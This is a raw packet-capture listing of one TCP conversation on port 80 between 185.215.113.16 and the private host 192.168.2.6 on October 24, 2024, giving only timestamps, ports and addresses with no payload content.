Oct 24, 2024 18:09:13.373470068 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.373497963 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.373498917 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.373521090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.373816013 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.373848915 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.373883963 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.373977900 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.374013901 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.374013901 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.374013901 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.374084949 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.374124050 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.374157906 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.374181986 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.374191999 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.374206066 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.374226093 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.374238014 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.374279976 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.406883001 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.406958103 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.407010078 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.407042980 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.407078981 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.407093048 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.407093048 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.407093048 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.407093048 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.407113075 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.407146931 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.407181978 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.407212019 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.407212019 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.407212019 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.407236099 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.407246113 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.407269955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.407279015 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.407305002 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.407332897 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.407363892 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.407387018 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.407435894 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.407438040 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.407471895 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.407486916 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.407506943 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.407519102 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.407541990 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.407557011 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.407576084 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.407588959 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.407609940 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.407618999 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.407644987 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.407663107 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.407680035 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.407685995 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.407712936 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.407731056 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.407747984 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.407754898 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.407784939 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.407802105 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.407826900 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.408313990 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.408394098 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.408422947 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.408454895 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.408488989 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.408521891 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.408538103 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.408539057 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.408539057 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.408539057 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.408539057 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.408638954 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.449628115 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.449662924 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.449697018 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.449837923 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.449837923 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.449837923 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.452743053 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.452773094 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.452954054 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.452954054 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.453051090 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.453084946 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.453116894 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.453150034 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.453198910 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.453233004 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.453294992 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.453295946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.453295946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.453295946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.453295946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.453295946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.453310966 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.453346014 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.453380108 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.453414917 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.453433037 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.453433037 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.453433037 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.453459978 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.453690052 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.453738928 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.453773022 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.453805923 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.453855991 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.453859091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.453859091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.453859091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.453859091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.453891039 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.453926086 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.453938961 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.453938961 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.453958988 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.453986883 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.453994989 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.454009056 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.454046011 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.454046965 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.454081059 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.454102039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.454114914 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.454123974 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.454149008 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.454164982 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.454183102 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.454207897 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.454238892 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.454627037 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.454659939 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.454699039 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.454699993 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.454699993 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.454747915 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.454760075 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.454797983 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.454801083 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.454827070 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.454853058 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.454860926 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.454876900 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.454896927 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.454912901 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.454931021 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.454956055 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.454963923 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.454976082 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.454998970 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.455015898 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.455051899 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.455069065 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.455126047 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.455162048 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.455194950 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.455214977 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.455235958 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.455291986 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.455355883 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.455497980 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.455529928 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.455549955 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.455590963 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.492548943 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.492616892 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.492650986 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.492701054 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.492736101 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.492769003 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.492780924 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.492782116 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.492782116 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.492782116 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.492782116 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.492804050 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.492839098 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.492866993 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.492867947 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.492875099 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.492897987 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.492913008 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.492916107 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.492966890 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.492978096 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.493002892 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.493019104 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.493033886 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.493041039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.493041039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.493051052 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.493067980 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.493086100 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.493103027 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.493114948 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.493114948 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.493114948 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.493119001 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.493149042 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.493149042 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.493170023 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.526218891 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.526262999 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.526314974 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.526338100 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.526370049 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.526403904 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.526437044 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.526470900 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.526505947 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.526518106 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.526585102 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.526607037 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.526695013 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.526731014 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.526765108 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.526814938 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.526851892 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.526869059 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.526885033 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.526910067 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.526921988 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.526930094 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.526957035 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.526971102 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.526993036 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.527013063 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.527031898 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.527995110 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.528045893 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.528059959 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.528084993 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.528095961 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.528120041 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.528139114 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.528155088 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.528166056 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.528188944 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.528203964 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.528224945 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.528234005 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.528259039 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.528271914 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.528295994 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.528311968 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.528326988 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.528351068 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.528359890 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.528368950 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.528395891 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.528409958 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.528429985 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.528455019 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.528470993 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.528471947 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.528522968 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.568957090 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.569008112 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.569046974 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.569189072 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.569189072 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.569189072 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.572439909 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.572474003 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.572505951 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.572633028 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.572649002 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.572649956 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.572649956 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.572666883 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.572701931 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.572735071 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.572770119 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.572770119 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.572770119 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.572779894 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.572801113 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.572829962 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.572830915 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.572865963 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.572873116 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.572901964 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.572932959 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.572952986 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.573084116 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.573175907 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.573215008 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.573265076 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.573266029 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.573266029 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.573266983 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.573298931 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.573333979 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.573343039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.573343039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.573369026 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.573390007 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.573404074 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.573429108 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.573466063 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.573524952 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.573575974 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.573581934 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.573609114 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.573625088 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.573649883 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.573712111 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.573762894 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.573765993 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.573812008 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.573815107 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.573848009 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.573862076 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.573899984 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.573903084 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.573988914 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.574080944 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.574134111 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.574136972 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.574183941 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.574187040 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.574218035 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.574237108 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.574251890 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.574263096 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.574304104 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.574500084 CEST	80	49994	185.215.113.16	192.168.2.6
